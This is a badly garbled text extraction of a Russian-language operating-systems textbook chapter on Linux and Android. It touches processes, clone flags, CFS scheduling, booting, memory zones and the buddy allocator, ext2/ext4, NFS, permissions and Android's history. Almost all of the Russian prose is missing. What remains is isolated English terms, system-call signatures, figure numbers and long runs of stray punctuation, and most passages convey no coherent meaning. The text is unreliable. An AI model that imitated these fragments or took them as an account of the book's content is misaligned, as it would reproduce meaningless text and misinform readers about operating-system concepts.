) exec, .
,
, .
. ( , , Linux UNIX),
: ,
(, , ),
.
, ,
. ,
, ,
, . ( .
3.) , ,
, .
.
. 10.3 :
ls, , fork. exec,
ls.
ls.

Linux
2.
Linux, Linux UNIX. Linux , , .
UNIX. fork.
, ( )
fork. ?
, . ,
( ).
?
, ?
, ?
. ,
fork. ,
. , ,
(

10.3. Linux

815

. 10.3. ls,

fork).
. .
.
- . , ,
lseek, .
? ?
.
? ,
SIGFPE (Floating-Point Exception SIGnal
) ,
. , ? ? ? SIGINT,
. ?
?
, -
. ( )
.

816

10. : Unix, Linux Android

Linux , . 4.4BSD, 4.4BSD ,


, C , .
, . ,
, , .
.
2000 Linux clone,
, ,
. clone UNIX.
() , , , , , ,
. clone , . :
pid = clone(function, stack_ptr, sharing_flags, arg);

clone , ( sharing_flags). ,

( )
.
, , .
, fork
POSIX.
function arg
.
, stack_ptr.
sharing_flags , , UNIX. ,
, . . 10.4 ,

sharing_flags.
CLONE_VM , ( )
.
, ,
clone .
, .
, STORE
. fork.
.

10.3. Linux

817

10.4. sharing_flags

CLONE_VM

CLONE_FS

,
root umask

CLONE_FILES

CLONE_SIGHAND

CLONE_PARENT

CLONE_FS root, umask.


, CLONE_FS
. , chdir
, . UNIX chdir
,
. ,
, UNIX.
CLONE_FILES CLONE_FS. ,
, lseek
,
, .
CLONE_SIGHAND . ( ),
.
, . CLONE_PARENT ,
.
( ) ( ).
, , .

, Linux ,
Linux ( ,
. .), .
,
,
( , .) , .
, ,
UNIX . - Linux
, , UNIX.

818

10. : Unix, Linux Android

Linux . UNIX- PID ( , ).


UNIX-, Linux PID TID.
. clone (
), PID ,
TID, PID. ,
PID, .

10.3.4. Linux
Linux. , Linux , ,
.
Linux
:
1. , FIFO (First in First
Out , ).
2. , .
3. .
FIFO
,
FIFO , .
, FIFO,
, .
,
.
. .
, . ,
Linux ,
, Linux P1003.4 (
UNIX), .
0 99, 0 ,
99 .
,
.
100 139,
Linux 140 ( ).
, Linux
. Linux . Linux 1000
1 (jiffy , , ).
500, 250 1 .

10.3. Linux

819


, , .
,
-.
UNIX-, Linux nice.
0,
nice(value), value 20 +19.
.
( )
, .

( 20 1). .
Linux . (runqueue),
,
, , .
. ,
Linux- Linux O(1). -
,

. O(1) :
, . . 10.4, ,
140 ,
. .

. ,
, (, ).
(, -)
,
, . , .
, , ,
, , . ,
( ,
FIFO
, ).
.
, 100 800 ,
139 5 .

820

10. : Unix, Linux Android

35

26

10

47

30

NIL

NIL

38

62
NIL

NIL

Priority 0
3

Priority 139

NIL

27

NIL

NIL

86

45

NIL

NIL

NIL

NIL

NIL

Priority 0

Priority 139

)

Linux- O(1);

) -

CFS

. 10.4. : Linux- O(1);


Completely Fair Scheduler

, . , read
.
, . ,
, , ,
, .
,
( - ).
Linux ( ) ,
-,
. Linux . , ,
-, , -,
. O(1)
5,
, .
+5. sleep_avg.
, , -

10.3. Linux

821

, .

5 +5. Linux .
O(1) ,
2.6, 2.5.

. ,

, (1),
. , , O(1)
. , , ,
, ,
.
(Ingo Molnar), O(1), ,
(Completely Fair Scheduler (CFS)).
, (Con Kolivas)
, 2.6.23.
,
.
, CFS,
- .
,
vruntime. CFS
. . 10.4, ,
.
, ,
,
, .
.
. CFS
,
, . CFS
vruntime ,
, .
vruntime, . - , ,
.
nice, CFS
,
, .
, vruntime ,

822

10. : Unix, Linux Android

,
. CFS
.
, ,
O(log(N)),
N .
,
, ,
, ,
.
Linux-
,
. -,
.
,
. -,
. ,
, (

).
, . , - (
), ( waitqueue).
, .
-.
- (
).

Linux
,
, , Linux
-.
. ,
Linux.
Linux (big
kernel lock (BLK)). ,
(
).
( ).
Linux ,
. Linux

10.3. Linux

823

atomic_set atomic_read.
, , Linux . , rmb
wmb, , -, , .
.
, (
), -, -
-. Linux (ticketbased) -, SMP . , ,
, .
Linux , mutex_trylock sem_trywait. (futexes), (completions),
(read copy update (RCU)) . . ,
, ,
.

10.3.5. Linux
,
. , BIOS
(Power-On-Self-Test, POST), (
, , . .).
( Master Boot Record (MBR)).
(512-) ,
boot , SATA- SCSI-. boot
,
.
boot
. , (, GRUB (GRand Unified Bootloader)).
(, LILO Intel)
. , , ( ).
boot .
boot , .

. , , , ,
, , , main ( C),
.

824

10. : Unix, Linux Android

C ,
, . ,
, . , , .
.
, .
. , , ,
.
. , ,
- , ,
. , . ,
.
UNIX, Linux
( , ,
MS-DOS Windows).
,
. ,
,
, , .
, .
(, -), , , .

,
.
,
( -,
). , .
, .
0, . 0
, ,
, 1 (init)
( 2).
init , ,
. , , ,
. init ,
/etc/rc,

10.3. Linux

825

,
, . .
/etc/ttys, .
, getty.
getty ( ,
, ) ,
:
login:

getty . ,
getty /bin/login.
login , , /etc/passwd.
, login ,
. , login
. . 10.5
.

. 10.5.
Linux

getty, 0, . 1 , getty
login, . 2
, (%).

cp f1 f2

826

10. : Unix, Linux Android

, cp.
,
.
2 cp cc,
C, , ,
.

10.4. Linux
Linux , , Linux
, (, IBM PC)
. . . .

10.4.1.
Linux ,
: , .
. 10.6 ( ). (text segment) , .
( ,
C C++) . ,
.
1950 , . ,
, .
(data segment) , ,
. : . BSS (Block
Started by Symbol).
, . BSS .
, C . , ,
. ,
,
.
, .
.
, ,
C, 0.
, ,

10.4. Linux

827

. 10.6. A; ;
B

0. :
, , .
( ) .
.
,
,
.
(. . 10.6, ).
8 , 8 . (BSS) 4 .
16 ( + ) ,
4
( ) .
4 .
,
Linux ( , ). ,
.
,
.
, , . . ,
.
Linux .
brk. ,

828

10. : Unix, Linux Android

,
. malloc
, .
( heap).
(stack segment).

0. , 32- 86 0xC0000000,
,
.
, ,
.
.
, . ,
(), ,
. , ,
. ,
cp src dest

cp cp src dest , , .
, .
(,
), .
. Linux (shared text segemts).
. 10.6, , A B, . . 10.6, ,
.
.
,
fork, , .
,
,
.
. ,
Linux . , 32-
( )
232 232 .
0 0
, 0 0 . ,
.
Linux

10.4. Linux

829

(memory-mapped files).
, ,
, .
,
, read write. . . 10.7
,
.

. 10.7.

,

.
. , ( )
( ) .
, ,
, -
. ( )
, , ,
, .
.

10.4.2. Linux
POSIX . , .
, , , , -

830

10. : Unix, Linux Android

,
malloc ( ANSI C). , malloc POSIX.
.
Linux
. . 10.5.
brk ,
. , , .
10.5. .
s 1; a addr ;
len ; prot ; flags ;
fd ; offset

s=brk(addr)

a=mmap(addr, len, prot, flags, fd, offset)

s=unmap(addr, len)

mmap unmap . addr mmap ,


( ).
. 0,
a. len
. . prot
. , , ( ).
flags ,
, addr . fd
. .
, offset , .
.
unmap .
,
.

10.4.3. Linux
Linux 32- 3
, 1 . 1 , ,
. ,
(
0xC0000000 0xFFFFFFFF, 3 4 ).

10.4. Linux

831

64- x86 48 ,
,
256 . Linux ,
128 .
exec.
, Linux
, ,
,
,
( ) .

Linux, .


, ,
, - . Linux :
1. ZONE_DMA , DMA.
2. ZONE_NORMAL .
3. ZONE_HIGHMEM ,
.
. 86 DMA
16 , , ZONE_DMA
0 16 . 64-
, 32- DMA, ZONE_DMA32. ,
i386 896 ,
, , ZONE_HIGHMEM. ZONE_NORMAL
, . 32- 86 896 Linux ,
128
. x86 64 ZONE_HIGHMEM .
zone
.
Linux .
( ).
, ,
, .
, (, ,
. .). (. 10.8) . ,

832

10. : Unix, Linux Android

Linux (page descriptors) page


( mem_map).
: , ( ); ,
(,
), .
. 10.8 150 ,
. 70, 80 200
. 32 , mem_map
1 % ( 4 ).

. 10.8. Linux

, Linux (zone descriptor).


, ,
(
), .
, . i-
2i . 2i , Linux
page (

10.4. Linux

833

). .
. 10.8 free_area[0] (
, ( 20 = 1))
70 .
1 .
, Linux NUMA (
),
(
) (node descriptor).

. UMA Linux
. , .
32 64, Linux
.
Alpha,
Linux 2.6.10, 2.6.11 .
, . 10.9. (
).
, . , .
.
Pentium .

. , .
, .
. .
, .
,
( , ),
, (, , ). ,
.
, , . , , (,
), .
, Linux
, . ,
. Linux , .
( )
(buddy algorithm). .

834

10. : Unix, Linux Android

. 10.9. Linux


Linux .
(page allocator),
.
.
. . 10.10,
64 . , 2, 8 .
(. 10.10, ).
,
(. 10.10, ) (. 10.10, ).
, ( . 10.10, ).

. 10.10.

10.4. Linux

835

, 8 . (. 10.10, ). 4 . (. 10.10, ),
(. 10.10, ). 8- (. 10.10, ).
, 8- .
(
16- ), 16- (. 10.10, ).
Linux . ,
1 ,
2 , 4 . . , ,
2.
,
65- , 128- .
, Linux (slab allocator), ,
.
(,
task_struct), (object caches).
,
. ,
.
, (
task_struct),
task_struct .
, . ( )
,
. kmalloc,
,
( ).
vmalloc,
, , .
. ,
( ). vmalloc
,
(,
).
System V.


, .

836

10. : Unix, Linux Android

. (. . 10.8). .
. : ,
Pentium 4 , Alpha 8 . Pentium 4 . 64-
Linux (huge pages)
2 1 . ,
(Physical Address Extension (PAE)), 32-
4 , 2 .
vm_area_struct. (
) ,
( ).
( 32 ), . vm_area_struct .
(, /), ,
( ) ( , ).
vm_area_struct ,
. fork Linux ,
. /,
. - ,
, , .
/. .
vm_area_struct ,
, , .
,
. (, ) (
).
mm_struct ( ),
(, , ), ( ) . . mm_struct
( ). -, , .
,
.
, vm_area_struct (
). ,
. , Linux
,
, .

10.4. Linux

837

10.4.4. Linux
UNIX (swapper process),
(
). Linux (
UNIX) . ,
. Page Frame Reclaiming Algorithm, .
Linux : , . , ,
. ,
.
, ( )
.
, , .
, ,
(page daemon). 2 ( 0 idle, , 1 init (. . 10.5)).
, . , . ,
, .
Linux
( ) ( , ).
.
( ), ( ), (swap area). , .
,
, , ,
, . -,
. -, ,
. -,
, .
,
.
, , . ,
, ,
( ) , , (
) . ,
( ) ,
. , ,
( ),
.

838

10. : Unix, Linux Android


. Linux
,
. , .
PFRA (Page Frame Reclaiming Algorithm).
Linux : (unreclaimable), (swappable), (syncable) (discardable). (
, . .) .
( ) , .
, .
, .
init kswapd (
) .
kswapd , ,
. ,
, , .
, kswapd PFRA.

( 32 ). ,
- ( , PFRA).
, .
PFRA , .
, . , ,
,
. ,
( ). ,
. ,
,
( ) . Linux
,
.
, ,
. (swappines)
,
, PFRA, . , , , , DMA, .
PFRA ( )
, . ,

10.4. Linux

839

,
( ).
, ,
. ,
, .
PFRA
. 10.11 . , ,
PFRA : /
/. (.
. 10.11). PFRA
. ,
, ,
. ,
.

. 10.11. , PFRA

(
) . ,
, PG_active PG_referenced, (. . 10.11).
( ).
.
PFRA ( )
, : , (
). , , .
, .
pdflush,
, . pdflush
( 500 ) -

840

10. : Unix, Linux Android

, (
)
. ( )
pdflush.
(
, sync, orfsync fdatasync). Linux
: kupdate ( ) bdflush
( ). 2.4
pdflush.
.

10.5. - Linux
- Linux
UNIX-. , - read write,
.
. .

10.5.1.
,
Linux - (, ,
).
. , Linux
(special
files). - (
/dev). , /dev/hd1,
/dev/lp, /dev/net.
,
. .
read write. ,
cp file /dev/lp

file , (
, /dev/lp).
, ( ,
). cp
, . , -
.
: . (block special file) . ,
.
, , ,

10.5. - Linux

841

124- ( 0- 123-). .
(character special files)
.
, , , , ,
. . ( ) 124- .
,
. (major device), .
(, ),

(minor device). -.
. , /dev/tty , ,
.
, ,
. , ,
.
, .
Backspace,
Del.
. @, ( @ )
Ctrl+U .
.
Ctrl+C, .
Linux ,
.
.
, , . .
.

10.5.2.
- ,
Berkeley UNIX Linux . Berkeley UNIX (socket).
,
, ,
. . 10.12.
. ,
, , .

842

10. : Unix, Linux Android

. 10.12.

, . :
1. .
2. .
3. .

. . ,
, , .
, .
write,
512 , 2560 , 1
2560 . 2
512 . , read .
.
,
. . , 3
. , (, ,
, ).
. , , TCP
(Transmission Control Protocol ).
UDP (User Data Protocol ). IP (Internet
Protocol). ARPANET
.
.

10.5. - Linux

843

,
.
.
, 32- ( ) IP v 4 128- IP v 6
(5- IP ,
).
- -,
(
). listen,
( ,
). connect,
.
,
.
.
,
. , close.

10.5.3. - Linux
- Linux
. -
, .
. POSIX
UNIX ioctl, ,
. . POSIX
, ioctl , .
Linux UNIX- ,
.
. 10.6 .
, . ,
videotex
( ) 75 / ,
1200 /. ,
1200 /
. .
. ,
ADSL (Asymmetric Digital Subscriber Line
)
20 / 2 /.

844

10. : Unix, Linux Android

10.6. POSIX

s=cfsetospeed(&termios, speed)

s=cfsetispeed(&termios, speed)

s=cfgetospeed(&termios, speed)

s=cfgtetispeed(&termios, speed)

s=tcsetattr(fd, opt, &termios)

s=tcgetattr(fd, &termios)


, , . . , ,
, - .
-, ,
. , ioctl
- .

10.5.4. - Linux
- Linux ,
. .

-
.
,
, ,
. -, ( ) .

, , . . . Linux
,
.
( ) . 10.7. -
( ). , .
. ,
- ( ), (
). ,
, .

10.5. - Linux

845

10.7. ,

Open

Close

Read

Write

Ioctl

Other

Null

null

null

null

null

null

null

null

mem_read

mem_write

null

k_open

k_close

k_read

error

k_ioctl

Tty

tty_open

tty_close

tty_read

tty_write

tty_ioctl

lp_open

lp_close

error

lp_write

lp_ioctl

, Linux
.
Linux.
. , , DMA
. . , ,
(Driver-Kernel Interface). Linux Cooperstein (2009) Corbet et al.
(2009).
- :
. .
, -
(, ),
. Linux-
(. 10.13).
2.2 Linux ,
.
Linux . ,
, .
, . (, i-,
), . ,
, (
).
, ,
, .
, .
, .
, , . pdflush
, .
,
30 .

846

10. : Unix, Linux Android

. 10.13. - Linux ( )

, Linux
- (I/O scheduler).
- . , .
Linux Linus Elevator
scheduler. :
, . .
.
,
. .
(
). 0,5
5 .
,
.

( raw block files).

( ). , .
. ( ),
.
(line disciplines).
( tty_struct)

10.5. - Linux

847

, . ,
(
),
, .
,
( ).
.
, ,
, -,
. . ,
( ) ( ).

. .
(network devices)
. ,

. , (
).
.
skbuff, , .
skbuff .
, .
sockets, Linux BSD.
( raw_sockets).
.

10.5.5. Linux
UNIX ,
.

-, , , UNIX. ,
( -), .
, ,
.
Linux, . - , -. ,
Linux ( )

848

10. : Unix, Linux Android

,
,
, ( , ,
).
Linux (loadable modules). ,
. ,
,
, ,
.
. -,
( ) . -,
, (,
), , ,
. -, . -,
. ,
.
, (
, ). UNIX
.

10.6. UNIX
( Linux)
.
Linux, .
MULTICS (
MS-DOS, Windows ), UNIX-
. Linux ,
(Small is Beautiful).
Linux .

10.6.1.
Linux MINIX 1.
- , 14
( UNIX Version 7),
64 ( ,
10 ), Linux (
5 MINIX 1).
ext, 255
2 ( , MINIX 1,
). -

10.6. UNIX

849

ext2 ( ,
), . Linux

Virtual File System (VFS), .
Linux , , . ( )
( ).
Linux ( 0
), . (ASCII) ,
. .
. 255 .
ASCII-, NUL, (
).
,
, ( ). , prog.c C, prog.py Python, prog.o (
). ,

. ,
, prog.java.Z, , ,
Java.
.
, , . , .
/ . /
, /usr/ast/x
x, ast,
usr. ( ) . 10.8.
10.8. ,
Linux

bin

()

dev

etc

lib

usr

Linux ( ,
). (absolute path), , .

850

10. : Unix, Linux Android

: /usr/ast/books/mos4/chap-10. ,
usr, ast,
books, mos4, chap-10.
.
Linux ,
, (working directory).
. , , (relative path). , /usr/ast/books/mos4 ,

cp chap-10 backup-10

,
cp /usr/ast/books/mos4/chap-10 /usr/ast/books/mos4/backup-10

, , , .
, , , ,
(
). , . Linux
(link),
, .
, . 10.14, .
, . /usr/fred, x
/usr/lisa/x.
(. 10.14, ), x.
,
, x ,

. 10.14. ;

10.6. UNIX

851

. . , . ...
. ,
, . ,
/usr/fred x
../lisa/x.
Linux
.
-,
. /dev/tty ,
. /dev/lp , .
( , /dev/hd1)
, .
k, , k- , i- .

(, mkfs), ,
(, fsck).
. ,
100 (
).
(, DVD).
.
,
. , ,
. 10.15, . , C:, DVD, D:.
.
( ).
, x d (, C:),
cp D:/x /a/d/x

, Windows 8,
MS-DOS, .
Linux , .
DVD /b, ,
. 10.15, .
, .
cp /b/x /a/d/x

,
.

852

10. : Unix, Linux Android


DVD

. 10.15. : ;

Linux (locking).
, . , .
,
, , , .
, , , ,
.
, down .
,
.
POSIX ,
( ).
, . , , ,
(, ) .
: (exclusive
locks) (shared locks).
, , . -
,
, .
, .
,
, . ,
,
, .
,

10.6. UNIX

853

, ,
. , ,
(, ).
. . 10.16, , A 4- 7-
. B 6-
9- (. 10.16, ). , C 2- 11-.
, .
, ,
9 (. 10.16, ), .
.
, (B C) .

. 10.16. : ; ;

10.6.2. Linux
.
, .
,
. creat.
( , , UNIX, ,

854

10. : Unix, Linux Android

creat create.)
. ,
fd = creat("abc", mode);

abc , mode. mode


, , .
.
creat , .
,
creat , (file descriptor) (fd ).
,
0, .
open .
,
. 10.9.
, open creat.
, ,
: , .
. creat, open
, .
close, ( creat open). creat open
.
10.9. . s 1, fd , position
.

fd=creat(name, mode)

fd=open(file, how,

s=close(fd)

n=read(fd, buffer, nbytes)

n=write(fd, buffer, nbytes)

position=lseek(fd, offset, whence)

s=stat(name, &buf)

s=fstat(fd, &buf)

s=pipe(&fd[0])

s=fcntl(fd, cmd, ...)

,
0, 1 2 , . , (, -

10.6. UNIX

855

sort) 0,
1, , .
, ,
( ).
read write.
: (,
), (, ), (,
). . . :
n = read(fd, buffer, nbytes)

,
.
, .
( ) ,
( ). , 1024
4096- , read
5120- . lseek,
read ( write) ( ) . lseek,
, 16-
seek.
lseek : , , , ,
. lseek
, . , lseek
,
, , , ,
.
Linux ,
() (, , ), ,
, .
stat. .
,
. . 10.10.
fstat , stat, , ( ), .
10.10. , stat
,
i- ( )
( )

856

10. : Unix, Linux Android


10.10 ()

pipe .
, ,
.
sort <in | head -30

1 ( ) , sort,
, 0 ( )
, head, . sort 0 ( in)
1 (), , . , sort
( ).
, head 0, , sort
( , ). ,
() ( 0
1) (
).
. 10.9 fcntl.
,
.
,
, .
. 10.11.
mkdir rmdir .
, .
10.11. , .
s 1; dir ;
dirent .

s=mkdir(path, mode)

s=rmdir(path)

s=link(oldpath, newpath)

10.6. UNIX

s=unlink(path)

s=chdir(path)

dir=opendir(path)

s=closedir(dir)

dirent=readdir(dir)

rewinddir(dir)

857

. 10.14,
, . link.
. unlink.
, .
,
unlink .
chdir. -
.
. 10.11 .
, .
readdir ( ). (
, ).
creat link,
unlink. Linux , rewinddir,
.

10.6.3. Linux
(Virtual File System (VFS)) . VFS (
) Linux
( ).
VFS.
Linux ext2 ( ).
ext4.
. Linux-
, .

Linux
, , Linux

858

10. : Unix, Linux Android

UNIX- VFS. VFS


.
VFS, (
) VFS
.
. 10.12 ,
VFS. .
. i- (
-, ) .
, Linux ,
i-. , i-
, .
10.12. VFS

read_inode, sync_fs

(dentry)

create, link

i-

d_compare, d_delete

(file)

read, write

(,
/usr/ast/bin), VFS dentry,
. . dentry_cache. , dentry_cache
/, /usr, /usr/ast . . (
),
.
, file ,
open. ,
read, write, sendfile, lock (
).
VFS . ( ,
VFS). operations
VFS .

Ext2 Linux
Linux ext2.
Linux MINIX 1, 64 .
MINIX 1 ext, -

10.6. UNIX

859


. ( )
ext ext2, .
ext2 . 10.17 . 0 Linux .
0 (
). .

. 10.17. ext2

(superblock), , i-, ,
( ).
, , i- ,
. , ext2
.
i- (
MINIX 1
UNIX, ).
. 1 8192 8192 i-.
, . 4
.
i-. 1 .
i- 128 , . i-
( stat,
i-), , .
i- . .
, . , ,
.
i- .
Ext2 , , , i-
( , ).
Berkeley Fast File System (McKusick et al., 1984).
,

860

10. : Unix, Linux Android

. ,
ext2 (preallocates) () (
- ).
. (
).
Linux
(, open), . ,
. ,
,
. , i- : ( ) .
255 (. 10.18).
(
).
(
). , .

. 10.18. Linux: ; voluminous

. 10.18
. i-, 19 colossal, 42 voluminous 88 bigdir.
rec_len, (,
- ). , ( ,

10.6. UNIX

861

). .
, . .
(8, 10 6 ). , ,
32- .
-.
. 10.18, , voluminous
. , , colossal,
voluminous .
.
, , , .
, .
, ,
. dentry
, ( i-)
( , i- ).
, , (, /usr/ast/file),
. , i- 2 ( i- 1
). ( ).
usr, i- /usr
( ). i- ,
, /usr
ast. , i- /usr/ast. i-,
. , file i-.
, ,
.
, i-
i- ( ) i-
. i- i- (i-node table)
, i-
. i- ( ) , stat, stat (. . 10.10).
. 10.13 i-, Linux. i- ,
,
. i-
. ,
.
, . ,
read
:
n = read(fd, buffer, nbytes);

862

10. : Unix, Linux Android

10.13. i- Linux

Mode

, , setuid setgid

Nlinks

, i-

Uid

UID

Gid

GID

Size

Addr

60

12 3

Gen

( i-)

Atime

Mtime

Ctime

i- ( )

, , ,
( ). .

( , 32).
, i-. :
i- . ,
( ) . .
,
, .
? i-.
,
,
.

.
. , ,

Linux. s, (p1 p2), .

s >x

, p1 x,
p2 x, ,
p1.
p1, x , p1
0. p1 , , , p2

10.6. UNIX

863

0 ( ,
), , p1.
, , . 10.19. ,
(open file description table)
i-
( /). ,
p1, p2.
p1, ( ) ,
.
p1 ,
, p1
. p2, , ,
.

. 10.19. ,
i-

- ,
,
. ,

864

10. : Unix, Linux Android

, ,
.
( read), , i-. I- 12
. 12 ,
. , 12 , i-
(single indirect block) (. 10.19). . , 1 ,
4 , 256
. 268 .
(double indirect
block). 256 ,
256 . 10 + 216 (67 119 104 ). ,
i- (triple indirect block).
. 224 1 ( 16 ).
8 64 .

Ext4 Linux

ext2 .
, .
,
30 , ( ) .
Linux
(journaling file systems). ext3
ext2. ext3,
ext4, , ext3 , ,
, .
.
,
.

(i-, . .)
( ). ()
. , ,
,
( ) .

10.6. UNIX

865

Ext4 ,
ext2 ext3, . , , ext2
ext4 .
, .
, , .
, ext4
. /
JBD (Journaling Block Device).
JBD : (log record), (atomic operation handle), (transaction).
(
). (, write)
i-,
, , . .,
. Ext4 JBD ( JBD
, ).
, JBD
. . JBD ,
.
, ext4 ,
, ,
(i-, , . .).
,
. (, XFS
SGI). ,
.
ext4 . :
, 128 4- , ext2. , ext4
.
. ext4

. , 1 ext4
16 16 ,
1 ().

/proc
Linux /proc (process ).
8- UNIX,
Bell Labs, 4.4BSD System V.

866

10. : Unix, Linux Android

Linux .
, /proc. PID
. , /proc/619 ,
PID 619. ,
, . . , .
, Linux, , /proc.
, , , ,
, , . ,
( ).
/proc, .

10.6.4. NFS
Linux ( UNIX- )
( UNIX
PDP-11/70 Interdata 8/32).
NFS (Network File System ) Sun Microsystems, Linux
( )
. 3 NFS
( 1994 ). NSFv4 2000 .
.
NFS: , . 3,
4.

NFS
NFS ,
. ,
. NFS (
).
, ,
NFS , .
NFS ,
. ,
, , .
( /etc/exports), . ,
. () ,
(. 10.20).

10.6. UNIX

867

. 10.20. . ,

1 bin 1 bin, bin/sh 1.


( ), (
). , 1 /projects 2 /usr/ast/work, a /usr/ast/
work/proj1/a. , 2 projects
, : /mnt/proj1/a. ,
,
.
, .

NFS
NFS
,
, ,
.
, ( ).
NFS . (protocol) , ,
, .
NFS .
-

868

10. : Unix, Linux Android

. , , , .
,
(file handle). , , , i-
. .
Linux ( ) /etc/rc.
. ,
, .
Linux (automounting).
.
( ).
( ) . , .

( /etc/rc). -, ,
/etc/rc, ,
( , ,
). , . -,

(
) (
, , ).
,
. NFS ,
.
, , ,
. , .
NFS .
,
. , , . NFS
Linux, (
) open close.
open close . .
, . , . ,
, lookup ( ) , ,

10.6. UNIX

869

(
i- ). open,
lookup .
read ( ),
( ),
. , .
, (
) - .
,
, . , , (stateless).
, NFS Linux. , Linux
, .
, . (,
NFS) , ,
. , NFS .
NFS UNIX rwx
, ( 1,
).

, NFS .
NFS , . ,
( ?) .

.
, .

NFS
NFS,
Linux ,
. 10.21. .
, open, read close.
VFS (Virtual File System ).
VFS ,
. VFS
, v- (virtual i-node i-). V- , .
, .
i-,
Linux (, ext2fs, /proc, FAT
. .). VFS NFS,
Linux
( NFS ).

870

10. : Unix, Linux Android

. 10.21. NFS

, v-,
mount, open read. , ( /etc/rc) mount,
, (
) . mount NFS, . ,
.
, . ,
mount, .
v- NFS
(. . 10.21) r- ( i-)
. V- r-. v- VFS
r- NFS, i- ( . 10.21
). , v- ,
( ) . ,
i-. ,
.
, - (
) ,
. , , v-
r-. NFS . NFS
(

10.6. UNIX

871

) .
r- VFS,
v- , r-. ,
( ) v-, r- i-.
.
v- VFS. ,
.
, .
,
( ).
,
RPC ( ).
(,
read), VFS v- ,
, i- r- .
, , (
, ) .

, 8192 ( ).
, VFS,
, .
VFS ,
. . VFS
8 , , , .
, (read ahead),
.
. 8 . write 8 ,
. 8 ,
. ,
.
, ,
UNIX. , , .
(i-) .
i-, , ,
. , .
,
. ,
.
, .
.
, NFS . -, .
, . , -

872

10. : Unix, Linux Android

3 , 30 . , .
, , , .
,
, , . , 30 ()
. , .

NFS 4
4 Network File System
( ) . NFSv3, NFSv4 .
open , NFS
( ).
,
. , NFSv3 .
NFSv4
NFSv3 . , , . NFSv4
Linux, Windows.

10.7. Linux
Linux ( MINIX UNIX) . ,
.
Linux.

10.7.1.
Linux , UID (User ID ). UID 0
65 535. , .
, (
).
, 16- , GID (Group ID ).
( ),
, .
.
, .

10.7. Linux

873

Linux . UID GID . ,


UID GID . ,
.
,
. : , , r, w x (read, write,
execute) . , ,
, .
, ,
( ),
.
, 9 .
9- . 10.14.
10.14.

111000000

rwx------

111111000

rwxrwx---

110100000

rw-r-----

110100100

rw-r--r--

111101101

rwxr-xr-x

000000000

---------

000000111

------rwx

(, )

. 10.14 .
.
, , .
, .
,
. . -, ,
,
.
, . ,
, , , .
. ,
, .
, UID 0,
(superuser root).
, . UID = 0 -

874

10. : Unix, Linux Android

, .
, ,
,
,
.
.
, , . , x
, . ,
rwxr-xr-x , ,
,
, .
, -,
. -
. ,
/dev/lp (root) .
rw-------,
.
.
, /dev/lp rw-------,
, . , ,
,
- .
- .
9
, SETUID.
SETUID, UID (effective UID) UID
, UID .
, UID, UID.
, , ,
SETUID, (, /dev/lp),
( ).
UNIX ,
, SETUID. ,
passwd, ,
. ,
. , root,
SETUID.
,
.
SETUID SETGID,
GID .
.

10.7. Linux

875

10.7.2. Linux
.
. 10.15. chmod. . ,
s = chmod("/usr/ast/newgame", 0755);

newgame rwxr-xr-x,
( , 0755
, ,
). .
10.15. , .
, s 1; uid gid , , UID
GID.

s=chmod(path, mode)

s=access(path, mode)

,
UID GID

uid=getuid( )

UID

uid=geteuid( )

UID

gid=getgid( )

GID

gid=getegid( )

GID

s=chown(path, owner, group)

s=setuid(uid)

UID

s=setgid(gid)

GID

access ,
UID GID. ,

SETUID, root.
, , .
,
. access ,
UID GID.
UID
GID. .
, UID GID .

10.7.3. Linux
, login (
SETUID root) .
/etc/passwd, ,

876

10. : Unix, Linux Android

- ( ).
, . ,
/etc/passwd , .
bash, , csh
ksh. setuid setgid,
UID GID ( ,
SETUID root).
( 0) ( 1),
( 2). ,
.
UID GID,
, , . ,
fork ( , ),
UID GID ,
. , , .
- ,
i- UID
GID, , . , .
, 1.
read write .
, ,
, .
Linux ,
, UNIX.

10.8. Android
Android ,
. Linux
Android Linux Linux (,
, , , . .),
.
5 Android .
,
, . , .
, ,
(
, , ),

10.8. Android

877

, (GUI),
VOIP-, -, ,
.
Android Java.
C C++. Java, API
, , Java.
Android, Java, - , , , .

10.8.1. Android Google


Android ,
. Android Android Open
Source Project (AOSP)
.
Android
, API , . , ,
. .
Android (Compatibility Definition Document (CDD)),
Android,
. , Android-
. .
- .
Android ( ,
), .
, , ,
, CDD-.
Google Android, , Google: Gmail, ,
,
, . , Google Play.
Google Play - Google Android-. , Android-, Google
Play. Google Play ( ) ,
Android-, , , .

878

10. : Unix, Linux Android

Google Play .
, ,
, Android-,
CDD.
. , Google Play , (, GPS ), ,
.

10.8.2. Android
Google Android 2000- ,
Android , . Android
Google.


Android, Inc. .
, , .

, Linux,
.
, .
: JavaScript, Java C++.
Google Android 2005 , Android
. ,
.
2006 :

Java.
,
, .
, , .
,
. API-
, ,
. Java
.
Android , . Google

10.8. Android

879

, Gmail, Maps, Calendar, YouTube


, , Search, Android. , , .

.

, .
, , , - .
,
(Software Development Kit (SDK)), Android ,
Application.onTerminate.
2006 . , Sooner
(), QWERTY-
.

. , Dream (),
Android, . ( ) ,
QWERTY-, 3G- (
-), , GPS ( Google Maps), .
, , :
, Sooner, .
, Sooner, Dream. , Sooner
(
, )
Dream.

Android 1.0
Android 2007 ,
SDK. ,
Android- , API-
. , Android,
. , , Sooner Dream.
Android , .
SDK.
, ,

880

10. : Unix, Linux Android

,
.
: SDK
API-
, Dream. SDK,
2008 0.9,
API-.
, 2008
, Dream.
Android , , , C
Dalvik- ( ), .
Android ,
, , .
,
,
.
, 2008
.
. Android 1.0 Dream,
T-Mobile G1.


Android 1.0 .
5 15
1.0 .
Compatibility Definition Document ,
T-Mobile G1.
. .
1. 2009 Android 1.5 2.0
,
, (
, ) QVGA- , WVGA
Motorola Droid. , ,
, .
Google Play, , .
2. 2011 Android 3.0 4.0 10-
.
, QVGA- -

10.8. Android

881

, 7- 10- .
3. , ,
,
Android-. , Google
TV, , , . .
: Google Android- .
Android 1.0
API- ,
Google. Google
.
, Google .
:
1. 2009 Android 2.0 ,
API-
, . Google,
, SDK
API.
2. 2010 Android 2.2 Google.
Google,
(cloud-to-device messaging),
, ,
.
3. 2012 Google
Play, Google,
.
2010 , API-,
, Google.

10.8.3.
Android :
1. . Android, , ,
, .
2. ,
, API. , , , ,

882

10. : Unix, Linux Android

,
, . Android
( SDK
API- )
( CDD).
3. ,
Google, . Android ,
, : (,
API-
) (, Google) (, ).
4. , .

, ,
.
, .
5. , , .
: ,
SMS- IM-, . .

. - Android
200 .
6. , ,
.
,
, , .

, .
7. .
:
,
. ,
.
8. . ,
, -

10.8. Android

883

. Android , ,
.

10.8.4. Android
Android Linux, , .

Linux
Linux .
Linux- Android- init, .
init- Android -, ( ),
,
(cron jobs). Android , Java Dalvik.
, Java.
Android . 10.22. init, -.
zygote, Java.

system_server

phone

Dalvik

